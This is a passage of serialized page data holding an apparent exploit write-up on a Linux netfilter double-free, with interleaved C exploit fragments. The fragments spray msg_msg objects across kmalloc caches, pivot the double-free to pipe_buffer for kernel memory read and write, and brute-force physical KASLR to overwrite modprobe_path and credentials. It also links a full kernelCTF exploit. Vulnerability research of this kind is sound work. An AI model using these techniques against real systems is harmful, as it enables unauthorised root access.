0x66];\n",{"type":24,"tag":158,"props":58531,"children":58532},{"class":160,"line":1509},[58533],{"type":24,"tag":158,"props":58534,"children":58535},{"emptyLinePlaceholder":16},[58536],{"type":29,"value":481},{"type":24,"tag":158,"props":58538,"children":58539},{"class":160,"line":1527},[58540],{"type":24,"tag":158,"props":58541,"children":58542},{"style":2588},[58543],{"type":29,"value":58544}," // switch_task_namespaces(task, &init_nsproxy);\n",{"type":24,"tag":158,"props":58546,"children":58547},{"class":160,"line":1545},[58548,58552,58556,58560,58564,58568,58572,58576,58580,58584],{"type":24,"tag":158,"props":58549,"children":58550},{"style":177},[58551],{"type":29,"value":57442},{"type":24,"tag":158,"props":58553,"children":58554},{"style":188},[58555],{"type":29,"value":57957},{"type":24,"tag":158,"props":58557,"children":58558},{"style":222},[58559],{"type":29,"value":52541},{"type":24,"tag":158,"props":58561,"children":58562},{"style":188},[58563],{"type":29,"value":2058},{"type":24,"tag":158,"props":58565,"children":58566},{"style":222},[58567],{"type":29,"value":1285},{"type":24,"tag":158,"props":58569,"children":58570},{"style":188},[58571],{"type":29,"value":57463},{"type":24,"tag":158,"props":58573,"children":58574},{"style":222},[58575],{"type":29,"value":728},{"type":24,"tag":158,"props":58577,"children":58578},{"style":465},[58579],{"type":29,"value":58420},{"type":24,"tag":158,"props":58581,"children":58582},{"style":188},[58583],{"type":29,"value":50345},{"type":24,"tag":158,"props":58585,"children":58586},{"style":2588},[58587],{"type":29,"value":58429},{"type":24,"tag":158,"props":58589,"children":58590},{"class":160,"line":1618},[58591,58595,58599,58603,58607,58611,58615,58619],{"type":24,"tag":158,"props":58592,"children":58593},{"style":177},[58594],{"type":29,"value":57442},{"type":24,"tag":158,"props":58596,"children":58597},{"style":188},[58598],{"type":29,"value":57957},{"type":24,"tag":158,"props":58600,"children":58601},{"style":222},[58602],{"type":29,"value":52541},{"type":24,"tag":158,"props":58604,"children":58605},{"style":188},[58606],{"type":29,"value":2058},{"type":24,"tag":158,"props":58608,"children":58609},{"style":222},[58610],{"type":29,"value":1285},{"type":24,"tag":158,"props":58612,"children":58613},{"style":188},[58614],{"type":29,"value":57463},{"type":24,"tag":158,"props":58616,"children":58617},{"style":222},[58618],{"type":29,"value":728},{"type":24,"tag":158,"props":58620,"children":58621},{"style":188},[58622],{"type":29,"value":58623}," INIT_NSPROXY;\n",{"type":24,"tag":158,"props":58625,"children":58626},{"class":160,"line":1635},[58627,58631,58635,58639,58643,58647,58651,58655],{"type":24,"tag":158,"props":58628,"children":58629},{"style":177},[58630],{"type":29,"value":57442},{"type":24,"tag":158,"props":58632,"children":58633},{"style":188},[58634],{"type":29,"value":57957},{"type":24,"tag":158,"props":58636,"children":58637},{"style":222},[58638],{"type":29,"value":52541},{"type":24,"tag":158,"props":58640,"children":58641},{"style":188},[58642],{"type":29,"value":2058},{"type":24,"tag":158,"props":58644,"children":58645},{"style":222},[58646],{"type":29,"value":1285},{"type":24,"tag":158,"props":58648,"children":58649},{"style":188},[58650],{"type":29,"value":57463},{"type":24,"tag":158,"props":58652,"children":58653},{"style":222},[58654],{"type":29,"value":728},{"type":24,"tag":158,"props":58656,"children":58657},{"style":188},[58658],{"type":29,"value":58659}," SWITCH_TASK_NAMESPACES;\n",{"type":24,"tag":158,"props":58661,"children":58662},{"class":160,"line":1644},[58663],{"type":24,"tag":158,"props":58664,"children":58665},{"style":188},[58666],{"type":29,"value":1136},{"type":24,"tag":395,"props":58668,"children":58670},{"id":58669},"grabbing-the-kernelctf-flag",[58671],{"type":29,"value":58672},"Grabbing the kernelCTF flag",{"type":24,"tag":25,"props":58674,"children":58675},{},[58676,58680,58682,58689],{"type":24,"tag":84,"props":58677,"children":58679},{"alt":51850,"src":58678},"/posts/netfilter-universal-root-1-day/flag.png",[],{"type":29,"value":58681},"\nYou can find the kernelCTF exploit in our ",{"type":24,"tag":101,"props":58683,"children":58686},{"href":58684,"rel":58685},"https://github.com/otter-sec/OtterRoot/blob/master/kernelctf/exploit.c",[105],[58687],{"type":29,"value":58688},"GitHub",{"type":29,"value":347},{"type":24,"tag":59,"props":58691,"children":58693},{"id":58692},"universal-exploit",[58694],{"type":29,"value":58695},"Universal exploit",{"type":24,"tag":25,"props":58697,"children":58698},{},[58699],{"type":29,"value":58700},"After exploiting KernelCTF, I decided to use this vulnerability to craft a universal exploit (one that works stably regardless of the target without needing to be modified). I took a different approach to avoid some compatibility and reliability pitfalls, the biggest ones being ROP and anything else that relies on kernel data offsets because those change from build to build. It's not uncommon to compile a list of gadgets for the different builds but it makes more sense just to avoid the trouble entirely.",{"type":24,"tag":395,"props":58702,"children":58704},{"id":58703},"pivot-capability-using-msg_msg-mlistnext-pointer",[58705],{"type":29,"value":58706},"Pivot capability using msg_msg->mlist.next pointer",{"type":24,"tag":25,"props":58708,"children":58709},{},[58710,58712,58718,58720,58725,58727,58733],{"type":29,"value":58711},"Using the double-free vulnerability we can overlap a ",{"type":24,"tag":154,"props":58713,"children":58715},{"className":58714},[],[58716],{"type":29,"value":58717},"msg_msg",{"type":29,"value":58719}," object with with ",{"type":24,"tag":154,"props":58721,"children":58723},{"className":58722},[],[58724],{"type":29,"value":56371},{"type":29,"value":58726}," and control the ",{"type":24,"tag":154,"props":58728,"children":58730},{"className":58729},[],[58731],{"type":29,"value":58732},"m_list.next",{"type":29,"value":58734}," pointer.",{"type":24,"tag":147,"props":58736,"children":58738},{"className":30369,"code":58737,"language":30371,"meta":7,"style":7},"/* one msg_msg structure for each message */\nstruct msg_msg {\n struct list_head m_list;\n long m_type;\n size_t m_ts; /* message text size */\n struct msg_msgseg *next;\n void *security;\n /* the actual message follows immediately */\n};\n[...]\nstruct list_head {\n struct list_head *next, *prev;\n};\n",[58739],{"type":24,"tag":154,"props":58740,"children":58741},{"__ignoreMap":7},[58742,58750,58766,58787,58800,58818,58843,58859,58867,58874,58881,58889,58921],{"type":24,"tag":158,"props":58743,"children":58744},{"class":160,"line":161},[58745],{"type":24,"tag":158,"props":58746,"children":58747},{"style":2588},[58748],{"type":29,"value":58749},"/* one msg_msg structure for each message */\n",{"type":24,"tag":158,"props":58751,"children":58752},{"class":160,"line":213},[58753,58757,58762],{"type":24,"tag":158,"props":58754,"children":58755},{"style":165},[58756],{"type":29,"value":168},{"type":24,"tag":158,"props":58758,"children":58759},{"style":171},[58760],{"type":29,"value":58761}," msg_msg",{"type":24,"tag":158,"props":58763,"children":58764},{"style":188},[58765],{"type":29,"value":210},{"type":24,"tag":158,"props":58767,"children":58768},{"class":160,"line":238},[58769,58773,58778,58783],{"type":24,"tag":158,"props":58770,"children":58771},{"style":165},[58772],{"type":29,"value":22395},{"type":24,"tag":158,"props":58774,"children":58775},{"style":171},[58776],{"type":29,"value":58777}," list_head",{"type":24,"tag":158,"props":58779,"children":58780},{"style":177},[58781],{"type":29,"value":58782}," m_list",{"type":24,"tag":158,"props":58784,"children":58785},{"style":188},[58786],{"type":29,"value":473},{"type":24,"tag":158,"props":58788,"children":58789},{"class":160,"line":259},[58790,58795],{"type":24,"tag":158,"props":58791,"children":58792},{"style":165},[58793],{"type":29,"value":58794}," long",{"type":24,"tag":158,"props":58796,"children":58797},{"style":188},[58798],{"type":29,"value":58799}," m_type;\n",{"type":24,"tag":158,"props":58801,"children":58802},{"class":160,"line":280},[58803,58808,58813],{"type":24,"tag":158,"props":58804,"children":58805},{"style":165},[58806],{"type":29,"value":58807}," size_t",{"type":24,"tag":158,"props":58809,"children":58810},{"style":188},[58811],{"type":29,"value":58812}," m_ts;",{"type":24,"tag":158,"props":58814,"children":58815},{"style":2588},[58816],{"type":29,"value":58817}," /* message text size */\n",{"type":24,"tag":158,"props":58819,"children":58820},{"class":160,"line":301},[58821,58825,58830,58834,58839],{"type":24,"tag":158,"props":58822,"children":58823},{"style":165},[58824],{"type":29,"value":22395},{"type":24,"tag":158,"props":58826,"children":58827},{"style":171},[58828],{"type":29,"value":58829}," msg_msgseg",{"type":24,"tag":158,"props":58831,"children":58832},{"style":165},[58833],{"type":29,"value":615},{"type":24,"tag":158,"props":58835,"children":58836},{"style":177},[58837],{"type":29,"value":58838},"next",{"type":24,"tag":158,"props":58840,"children":58841},{"style":188},[58842],{"type":29,"value":473},{"type":24,"tag":158,"props":58844,"children":58845},{"class":160,"line":626},[58846,58850,58854],{"type":24,"tag":158,"props":58847,"children":58848},{"style":165},[58849],{"type":29,"value":52321},{"type":24,"tag":158,"props":58851,"children":58852},{"style":222},[58853],{"type":29,"value":615},{"type":24,"tag":158,"props":58855,"children":58856},{"style":188},[58857],{"type":29,"value":58858},"security;\n",{"type":24,"tag":158,"props":58860,"children":58861},{"class":160,"line":668},[58862],{"type":24,"tag":158,"props":58863,"children":58864},{"style":2588},[58865],{"type":29,"value":58866}," /* the actual message follows immediately */\n",{"type":24,"tag":158,"props":58868,"children":58869},{"class":160,"line":676},[58870],{"type":24,"tag":158,"props":58871,"children":58872},{"style":188},[58873],{"type":29,"value":17814},{"type":24,"tag":158,"props":58875,"children":58876},{"class":160,"line":684},[58877],{"type":24,"tag":158,"props":58878,"children":58879},{"style":188},[58880],{"type":29,"value":1136},{"type":24,"tag":158,"props":58882,"children":58883},{"class":160,"line":700},[58884],{"type":24,"tag":158,"props":58885,"children":58886},{"style":188},[58887],{"type":29,"value":58888},"struct list_head {\n",{"type":24,"tag":158,"props":58890,"children":58891},{"class":160,"line":785},[58892,58896,58900,58904,58908,58912,58916],{"type":24,"tag":158,"props":58893,"children":58894},{"style":165},[58895],{"type":29,"value":22395},{"type":24,"tag":158,"props":58897,"children":58898},{"style":171},[58899],{"type":29,"value":58777},{"type":24,"tag":158,"props":58901,"children":58902},{"style":165},[58903],{"type":29,"value":615},{"type":24,"tag":158,"props":58905,"children":58906},{"style":177},[58907],{"type":29,"value":58838},{"type":24,"tag":158,"props":58909,"children":58910},{"style":188},[58911],{"type":29,"value":191},{"type":24,"tag":158,"props":58913,"children":58914},{"style":222},[58915],{"type":29,"value":577},{"type":24,"tag":158,"props":58917,"children":58918},{"style":188},[58919],{"type":29,"value":58920},"prev;\n",{"type":24,"tag":158,"props":58922,"children":58923},{"class":160,"line":1447},[58924],{"type":24,"tag":158,"props":58925,"children":58926},{"style":188},[58927],{"type":29,"value":17814},{"type":24,"tag":25,"props":58929,"children":58930},{},[58931,58933,58939,58941,58946],{"type":29,"value":58932},"This is particularly interesting if we send messages of different sizes on the same queue, making the ",{"type":24,"tag":154,"props":58934,"children":58936},{"className":58935},[],[58937],{"type":29,"value":58938},"mlist.next",{"type":29,"value":58940}," pointer of a message that lives in one cache point into a different cache. So, by spraying ",{"type":24,"tag":154,"props":58942,"children":58944},{"className":58943},[],[58945],{"type":29,"value":58717},{"type":29,"value":58947}," in kmalloc-cg-256 with a secondary message in each queue living in kmalloc-cg-1k.",{"type":24,"tag":25,"props":58949,"children":58950},{},[58951,58953,58958,58960],{"type":29,"value":58952},"By incrementing the next pointer of our controllable ",{"type":24,"tag":154,"props":58954,"children":58956},{"className":58955},[],[58957],{"type":29,"value":58717},{"type":29,"value":58959}," by 256, we are able to make it point to the different secondary message that is already referenced by a different primary message, creating a duplicated reference. We allow an easy way of pivoting our double-free capabilities to other caches and attacking a greater variety of objects.\n",{"type":24,"tag":84,"props":58961,"children":58963},{"alt":51850,"src":58962},"/posts/netfilter-universal-root-1-day/msg-msg.png",[],{"type":24,"tag":147,"props":58965,"children":58967},{"className":30369,"code":58966,"language":30371,"meta":7,"style":7},"[...]\n // Spray msg_msg in kmalloc-256 and kmalloc-1k\n msg_t *msg = calloc(1, sizeof(msg_t) + 0xe8 - 48);\n int qid[SPRAY];\n for (int i = 0; i \u003C SPRAY; i++)\n {\n qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n if (qid[i] \u003C 0)\n {\n perror(\"[-] msgget\");\n }\n *(uint32_t *)msg->mtext = i;\n *(uint64_t *)&msg->mtext[8] = 0xdeadbeefcafebabe;\n msg->mtype = MTYPE_PRIMARY;\n msgsnd(qid[i], msg, 0xe8 - 48, 0);\n msg->mtype = MTYPE_SECONDARY;\n msgsnd(qid[i], msg, 1024 - 48, 0);\n }\n // Prepare evil msg\n int evilqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n if (evilqid \u003C 0)\n {\n perror(\"[-] msgget\");\n }\n[...] // trigger double-free in kmalloc-256\n",[58968],{"type":24,"tag":154,"props":58969,"children":58970},{"__ignoreMap":7},[58971,58978,58986,59012,59029,59077,59084,59124,59156,59163,59184,59191,59238,59302,59328,59374,59398,59442,59449,59457,59493,59517,59524,59544,59551],{"type":24,"tag":158,"props":58972,"children":58973},{"class":160,"line":161},[58974],{"type":24,"tag":158,"props":58975,"children":58976},{"style":188},[58977],{"type":29,"value":1136},{"type":24,"tag":158,"props":58979,"children":58980},{"class":160,"line":213},[58981],{"type":24,"tag":158,"props":58982,"children":58983},{"style":188},[58984],{"type":29,"value":58985}," // Spray msg_msg in kmalloc-256 and kmalloc-1k\n",{"type":24,"tag":158,"props":58987,"children":58988},{"class":160,"line":238},[58989,58994,58998,59002,59007],{"type":24,"tag":158,"props":58990,"children":58991},{"style":188},[58992],{"type":29,"value":58993}," msg_t *msg = calloc(1, ",{"type":24,"tag":158,"props":58995,"children":58996},{"style":171},[58997],{"type":29,"value":56600},{"type":24,"tag":158,"props":58999,"children":59000},{"style":188},[59001],{"type":29,"value":504},{"type":24,"tag":158,"props":59003,"children":59004},{"style":171},[59005],{"type":29,"value":59006},"msg_t",{"type":24,"tag":158,"props":59008,"children":59009},{"style":188},[59010],{"type":29,"value":59011},") + 0xe8 - 48);\n",{"type":24,"tag":158,"props":59013,"children":59014},{"class":160,"line":259},[59015,59019,59024],{"type":24,"tag":158,"props":59016,"children":59017},{"style":165},[59018],{"type":29,"value":20319},{"type":24,"tag":158,"props":59020,"children":59021},{"style":177},[59022],{"type":29,"value":59023}," qid",{"type":24,"tag":158,"props":59025,"children":59026},{"style":188},[59027],{"type":29,"value":59028},"[SPRAY];\n",{"type":24,"tag":158,"props":59030,"children":59031},{"class":160,"line":280},[59032,59036,59040,59044,59048,59052,59056,59060,59064,59069,59073],{"type":24,"tag":158,"props":59033,"children":59034},{"style":1914},[59035],{"type":29,"value":4702},{"type":24,"tag":158,"props":59037,"children":59038},{"style":188},[59039],{"type":29,"value":2262},{"type":24,"tag":158,"props":59041,"children":59042},{"style":165},[59043],{"type":29,"value":20289},{"type":24,"tag":158,"props":59045,"children":59046},{"style":188},[59047],{"type":29,"value":55816},{"type":24,"tag":158,"props":59049,"children":59050},{"style":222},[59051],{"type":29,"value":1285},{"type":24,"tag":158,"props":59053,"children":59054},{"style":465},[59055],{"type":29,"value":2025},{"type":24,"tag":158,"props":59057,"children":59058},{"style":188},[59059],{"type":29,"value":52505},{"type":24,"tag":158,"props":59061,"children":59062},{"style":222},[59063],{"type":29,"value":3760},{"type":24,"tag":158,"props":59065,"children":59066},{"style":188},[59067],{"type":29,"value":59068}," SPRAY; i",{"type":24,"tag":158,"props":59070,"children":59071},{"style":222},[59072],{"type":29,"value":52541},{"type":24,"tag":158,"props":59074,"children":59075},{"style":188},[59076],{"type":29,"value":2125},{"type":24,"tag":158,"props":59078,"children":59079},{"class":160,"line":301},[59080],{"type":24,"tag":158,"props":59081,"children":59082},{"style":188},[59083],{"type":29,"value":30446},{"type":24,"tag":158,"props":59085,"children":59086},{"class":160,"line":626},[59087,59092,59096,59100,59105,59110,59115,59119],{"type":24,"tag":158,"props":59088,"children":59089},{"style":177},[59090],{"type":29,"value":59091}," qid",{"type":24,"tag":158,"props":59093,"children":59094},{"style":188},[59095],{"type":29,"value":55868},{"type":24,"tag":158,"props":59097,"children":59098},{"style":222},[59099],{"type":29,"value":1285},{"type":24,"tag":158,"props":59101,"children":59102},{"style":496},[59103],{"type":29,"value":59104}," msgget",{"type":24,"tag":158,"props":59106,"children":59107},{"style":188},[59108],{"type":29,"value":59109},"(IPC_PRIVATE, ",{"type":24,"tag":158,"props":59111,"children":59112},{"style":465},[59113],{"type":29,"value":59114},"0666",{"type":24,"tag":158,"props":59116,"children":59117},{"style":222},[59118],{"type":29,"value":5929},{"type":24,"tag":158,"props":59120,"children":59121},{"style":188},[59122],{"type":29,"value":59123}," IPC_CREAT);\n",{"type":24,"tag":158,"props":59125,"children":59126},{"class":160,"line":668},[59127,59131,59135,59140,59144,59148,59152],{"type":24,"tag":158,"props":59128,"children":59129},{"style":1914},[59130],{"type":29,"value":4936},{"type":24,"tag":158,"props":59132,"children":59133},{"style":188},[59134],{"type":29,"value":2262},{"type":24,"tag":158,"props":59136,"children":59137},{"style":177},[59138],{"type":29,"value":59139},"qid",{"type":24,"tag":158,"props":59141,"children":59142},{"style":188},[59143],{"type":29,"value":55868},{"type":24,"tag":158,"props":59145,"children":59146},{"style":222},[59147],{"type":29,"value":3760},{"type":24,"tag":158,"props":59149,"children":59150},{"style":465},[59151],{"type":29,"value":2025},{"type":24,"tag":158,"props":59153,"children":59154},{"style":188},[59155],{"type":29,"value":2125},{"type":24,"tag":158,"props":59157,"children":59158},{"class":160,"line":676},[59159],{"type":24,"tag":158,"props":59160,"children":59161},{"style":188},[59162],{"type":29,"value":32920},{"type":24,"tag":158,"props":59164,"children":59165},{"class":160,"line":684},[59166,59171,59175,59180],{"type":24,"tag":158,"props":59167,"children":59168},{"style":496},[59169],{"type":29,"value":59170}," perror",{"type":24,"tag":158,"props":59172,"children":59173},{"style":188},[59174],{"type":29,"value":504},{"type":24,"tag":158,"props":59176,"children":59177},{"style":1108},[59178],{"type":29,"value":59179},"\"[-] msgget\"",{"type":24,"tag":158,"props":59181,"children":59182},{"style":188},[59183],{"type":29,"value":1071},{"type":24,"tag":158,"props":59185,"children":59186},{"class":160,"line":700},[59187],{"type":24,"tag":158,"props":59188,"children":59189},{"style":188},[59190],{"type":29,"value":5010},{"type":24,"tag":158,"props":59192,"children":59193},{"class":160,"line":785},[59194,59198,59202,59207,59211,59215,59220,59224,59229,59233],{"type":24,"tag":158,"props":59195,"children":59196},{"style":222},[59197],{"type":29,"value":9392},{"type":24,"tag":158,"props":59199,"children":59200},{"style":188},[59201],{"type":29,"value":504},{"type":24,"tag":158,"props":59203,"children":59204},{"style":165},[59205],{"type":29,"value":59206},"uint32_t",{"type":24,"tag":158,"props":59208,"children":59209},{"style":222},[59210],{"type":29,"value":615},{"type":24,"tag":158,"props":59212,"children":59213},{"style":188},[59214],{"type":29,"value":521},{"type":24,"tag":158,"props":59216,"children":59217},{"style":177},[59218],{"type":29,"value":59219},"msg",{"type":24,"tag":158,"props":59221,"children":59222},{"style":188},[59223],{"type":29,"value":14991},{"type":24,"tag":158,"props":59225,"children":59226},{"style":177},[59227],{"type":29,"value":59228},"mtext",{"type":24,"tag":158,"props":59230,"children":59231},{"style":222},[59232],{"type":29,"value":462},{"type":24,"tag":158,"props":59234,"children":59235},{"style":188},[59236],{"type":29,"value":59237}," i;\n",{"type":24,"tag":158,"props":59239,"children":59240},{"class":160,"line":1447},[59241,59245,59249,59253,59257,59261,59265,59269,59273,59277,59281,59285,59289,59293,59298],{"type":24,"tag":158,"props":59242,"children":59243},{"style":222},[59244],{"type":29,"value":9392},{"type":24,"tag":158,"props":59246,"children":59247},{"style":188},[59248],{"type":29,"value":504},{"type":24,"tag":158,"props":59250,"children":59251},{"style":165},[59252],{"type":29,"value":56907},{"type":24,"tag":158,"props":59254,"children":59255},{"style":222},[59256],{"type":29,"value":615},{"type":24,"tag":158,"props":59258,"children":59259},{"style":188},[59260],{"type":29,"value":521},{"type":24,"tag":158,"props":59262,"children":59263},{"style":222},[59264],{"type":29,"value":2212},{"type":24,"tag":158,"props":59266,"children":59267},{"style":177},[59268],{"type":29,"value":59219},{"type":24,"tag":158,"props":59270,"children":59271},{"style":188},[59272],{"type":29,"value":14991},{"type":24,"tag":158,"props":59274,"children":59275},{"style":177},[59276],{"type":29,"value":59228},{"type":24,"tag":158,"props":59278,"children":59279},{"style":188},[59280],{"type":29,"value":2048},{"type":24,"tag":158,"props":59282,"children":59283},{"style":465},[59284],{"type":29,"value":5736},{"type":24,"tag":158,"props":59286,"children":59287},{"style":188},[59288],{"type":29,"value":2058},{"type":24,"tag":158,"props":59290,"children":59291},{"style":222},[59292],{"type":29,"value":1285},{"type":24,"tag":158,"props":59294,"children":59295},{"style":465},[59296],{"type":29,"value":59297}," 0xdeadbeefcafebabe",{"type":24,"tag":158,"props":59299,"children":59300},{"style":188},[59301],{"type":29,"value":473},{"type":24,"tag":158,"props":59303,"children":59304},{"class":160,"line":1509},[59305,59310,59314,59319,59323],{"type":24,"tag":158,"props":59306,"children":59307},{"style":177},[59308],{"type":29,"value":59309}," msg",{"type":24,"tag":158,"props":59311,"children":59312},{"style":188},[59313],{"type":29,"value":14991},{"type":24,"tag":158,"props":59315,"children":59316},{"style":177},[59317],{"type":29,"value":59318},"mtype",{"type":24,"tag":158,"props":59320,"children":59321},{"style":222},[59322],{"type":29,"value":462},{"type":24,"tag":158,"props":59324,"children":59325},{"style":188},[59326],{"type":29,"value":59327}," MTYPE_PRIMARY;\n",{"type":24,"tag":158,"props":59329,"children":59330},{"class":160,"line":1527},[59331,59336,59340,59344,59349,59353,59357,59362,59366,59370],{"type":24,"tag":158,"props":59332,"children":59333},{"style":496},[59334],{"type":29,"value":59335}," msgsnd",{"type":24,"tag":158,"props":59337,"children":59338},{"style":188},[59339],{"type":29,"value":504},{"type":24,"tag":158,"props":59341,"children":59342},{"style":177},[59343],{"type":29,"value":59139},{"type":24,"tag":158,"props":59345,"children":59346},{"style":188},[59347],{"type":29,"value":59348},"[i], msg, ",{"type":24,"tag":158,"props":59350,"children":59351},{"style":465},[59352],{"type":29,"value":57244},{"type":24,"tag":158,"props":59354,"children":59355},{"style":222},[59356],{"type":29,"value":52527},{"type":24,"tag":158,"props":59358,"children":59359},{"style":465},[59360],{"type":29,"value":59361}," 48",{"type":24,"tag":158,"props":59363,"children":59364},{"style":188},[59365],{"type":29,"value":191},{"type":24,"tag":158,"props":59367,"children":59368},{"style":465},[59369],{"type":29,"value":5682},{"type":24,"tag":158,"props":59371,"children":59372},{"style":188},[59373],{"type":29,"value":1071},{"type":24,"tag":158,"props":59375,"children":59376},{"class":160,"line":1545},[59377,59381,59385,59389,59393],{"type":24,"tag":158,"props":59378,"children":59379},{"style":177},[59380],{"type":29,"value":59309},{"type":24,"tag":158,"props":59382,"children":59383},{"style":188},[59384],{"type":29,"value":14991},{"type":24,"tag":158,"props":59386,"children":59387},{"style":177},[59388],{"type":29,"value":59318},{"type":24,"tag":158,"props":59390,"children":59391},{"style":222},[59392],{"type":29,"value":462},{"type":24,"tag":158,"props":59394,"children":59395},{"style":188},[59396],{"type":29,"value":59397}," MTYPE_SECONDARY;\n",{"type":24,"tag":158,"props":59399,"children":59400},{"class":160,"line":1618},[59401,59405,59409,59413,59417,59422,59426,59430,59434,59438],{"type":24,"tag":158,"props":59402,"children":59403},{"style":496},[59404],{"type":29,"value":59335},{"type":24,"tag":158,"props":59406,"children":59407},{"style":188},[59408],{"type":29,"value":504},{"type":24,"tag":158,"props":59410,"children":59411},{"style":177},[59412],{"type":29,"value":59139},{"type":24,"tag":158,"props":59414,"children":59415},{"style":188},[59416],{"type":29,"value":59348},{"type":24,"tag":158,"props":59418,"children":59419},{"style":465},[59420],{"type":29,"value":59421},"1024",{"type":24,"tag":158,"props":59423,"children":59424},{"style":222},[59425],{"type":29,"value":52527},{"type":24,"tag":158,"props":59427,"children":59428},{"style":465},[59429],{"type":29,"value":59361},{"type":24,"tag":158,"props":59431,"children":59432},{"style":188},[59433],{"type":29,"value":191},{"type":24,"tag":158,"props":59435,"children":59436},{"style":465},[59437],{"type":29,"value":5682},{"type":24,"tag":158,"props":59439,"children":59440},{"style":188},[59441],{"type":29,"value":1071},{"type":24,"tag":158,"props":59443,"children":59444},{"class":160,"line":1635},[59445],{"type":24,"tag":158,"props":59446,"children":59447},{"style":188},[59448],{"type":29,"value":3967},{"type":24,"tag":158,"props":59450,"children":59451},{"class":160,"line":1644},[59452],{"type":24,"tag":158,"props":59453,"children":59454},{"style":2588},[59455],{"type":29,"value":59456}," // Prepare evil msg\n",{"type":24,"tag":158,"props":59458,"children":59459},{"class":160,"line":1652},[59460,59464,59469,59473,59477,59481,59485,59489],{"type":24,"tag":158,"props":59461,"children":59462},{"style":165},[59463],{"type":29,"value":20319},{"type":24,"tag":158,"props":59465,"children":59466},{"style":188},[59467],{"type":29,"value":59468}," evilqid ",{"type":24,"tag":158,"props":59470,"children":59471},{"style":222},[59472],{"type":29,"value":1285},{"type":24,"tag":158,"props":59474,"children":59475},{"style":496},[59476],{"type":29,"value":59104},{"type":24,"tag":158,"props":59478,"children":59479},{"style":188},[59480],{"type":29,"value":59109},{"type":24,"tag":158,"props":59482,"children":59483},{"style":465},[59484],{"type":29,"value":59114},{"type":24,"tag":158,"props":59486,"children":59487},{"style":222},[59488],{"type":29,"value":5929},{"type":24,"tag":158,"props":59490,"children":59491},{"style":188},[59492],{"type":29,"value":59123},{"type":24,"tag":158,"props":59494,"children":59495},{"class":160,"line":1704},[59496,59500,59505,59509,59513],{"type":24,"tag":158,"props":59497,"children":59498},{"style":1914},[59499],{"type":29,"value":3160},{"type":24,"tag":158,"props":59501,"children":59502},{"style":188},[59503],{"type":29,"value":59504}," (evilqid ",{"type":24,"tag":158,"props":59506,"children":59507},{"style":222},[59508],{"type":29,"value":3760},{"type":24,"tag":158,"props":59510,"children":59511},{"style":465},[59512],{"type":29,"value":2025},{"type":24,"tag":158,"props":59514,"children":59515},{"style":188},[59516],{"type":29,"value":2125},{"type":24,"tag":158,"props":59518,"children":59519},{"class":160,"line":1713},[59520],{"type":24,"tag":158,"props":59521,"children":59522},{"style":188},[59523],{"type":29,"value":30446},{"type":24,"tag":158,"props":59525,"children":59526},{"class":160,"line":1731},[59527,59532,59536,59540],{"type":24,"tag":158,"props":59528,"children":59529},{"style":496},[59530],{"type":29,"value":59531}," perror",{"type":24,"tag":158,"props":59533,"children":59534},{"style":188},[59535],{"type":29,"value":504},{"type":24,"tag":158,"props":59537,"children":59538},{"style":1108},[59539],{"type":29,"value":59179},{"type":24,"tag":158,"props":59541,"children":59542},{"style":188},[59543],{"type":29,"value":1071},{"type":24,"tag":158,"props":59545,"children":59546},{"class":160,"line":5485},[59547],{"type":24,"tag":158,"props":59548,"children":59549},{"style":188},[59550],{"type":29,"value":3967},{"type":24,"tag":158,"props":59552,"children":59553},{"class":160,"line":5493},[59554],{"type":24,"tag":158,"props":59555,"children":59556},{"style":188},[59557],{"type":29,"value":59558},"[...] // trigger double-free in kmalloc-256\n",{"type":24,"tag":395,"props":59560,"children":59562},{"id":59561},"using-pipe_buffer-page-pointer-for-physical-readwrite",[59563],{"type":29,"value":59564},"Using pipe_buffer->page pointer for physical read/write",{"type":24,"tag":25,"props":59566,"children":59567},{},[59568,59570,59576,59577,59583,59584,59590,59592,59598],{"type":29,"value":59569},"Now that we have increased the reach of our double-free, it's probably a good idea to go to ",{"type":24,"tag":154,"props":59571,"children":59573},{"className":59572},[],[59574],{"type":29,"value":59575},"kmalloc-1k",{"type":29,"value":1826},{"type":24,"tag":154,"props":59578,"children":59580},{"className":59579},[],[59581],{"type":29,"value":59582},"overlap pipe_buffer",{"type":29,"value":22748},{"type":24,"tag":154,"props":59585,"children":59587},{"className":59586},[],[59588],{"type":29,"value":59589},"skbuf",{"type":29,"value":59591}," data to control the ",{"type":24,"tag":154,"props":59593,"children":59595},{"className":59594},[],[59596],{"type":29,"value":59597},"page",{"type":29,"value":59599}," field.",{"type":24,"tag":25,"props":59601,"children":59602},{},[59603,59604,59609,59611,59617,59619],{"type":29,"value":17850},{"type":24,"tag":154,"props":59605,"children":59607},{"className":59606},[],[59608],{"type":29,"value":59597},{"type":29,"value":59610}," field is a pointer into ",{"type":24,"tag":154,"props":59612,"children":59614},{"className":59613},[],[59615],{"type":29,"value":59616},"vmemmap_base",{"type":29,"value":59618},", which contains all page structs used to track memory mapped to the kernel. This pointer is used to fetch the address of the data associated with a given pipe when reading/writing.\n",{"type":24,"tag":84,"props":59620,"children":59622},{"alt":51850,"src":59621},"/posts/netfilter-universal-root-1-day/pipe-buffer.png",[],{"type":24,"tag":25,"props":59624,"children":59625},{},[59626,59628,59633],{"type":29,"value":59627},"This now allows us to navigate the ",{"type":24,"tag":154,"props":59629,"children":59631},{"className":59630},[],[59632],{"type":29,"value":59616},{"type":29,"value":59634}," array and use our pipe as an interface to read/write kernel memory directly.",{"type":24,"tag":395,"props":59636,"children":59638},{"id":59637},"bruteforce-physical-kernel-base",[59639],{"type":29,"value":59640},"Bruteforce physical kernel base",{"type":24,"tag":25,"props":59642,"children":59643},{},[59644,59646,59652,59654,59659,59661,59667],{"type":29,"value":59645},"With the capability to iterate over kernel memory pages and read/write them, we could easily look for any value we want to overwrite, such as ",{"type":24,"tag":154,"props":59647,"children":59649},{"className":59648},[],[59650],{"type":29,"value":59651},"modprobe_path",{"type":29,"value":59653},". Keep in mind that simply searching page by page from the start of ",{"type":24,"tag":154,"props":59655,"children":59657},{"className":59656},[],[59658],{"type":29,"value":59616},{"type":29,"value":59660}," can be very time-consuming because the physical address at which the kernel base is loaded is randomized. However, the start of the kernel base is always aligned by a constant ",{"type":24,"tag":154,"props":59662,"children":59664},{"className":59663},[],[59665],{"type":29,"value":59666},"PHYSICAL_ALIGN",{"type":29,"value":59668}," value, 0x200000 by default in amd64, so we can significantly speed up our search by first only looking at aligned addresses for something that looks like the kernel base and then start a page by page search from there.",{"type":24,"tag":147,"props":59670,"children":59672},{"className":30369,"code":59671,"language":30371,"meta":7,"style":7},"[...]\n// Bruteforce phys-KASLR\n uint64_t kernel_base;\n bool found = false;\n 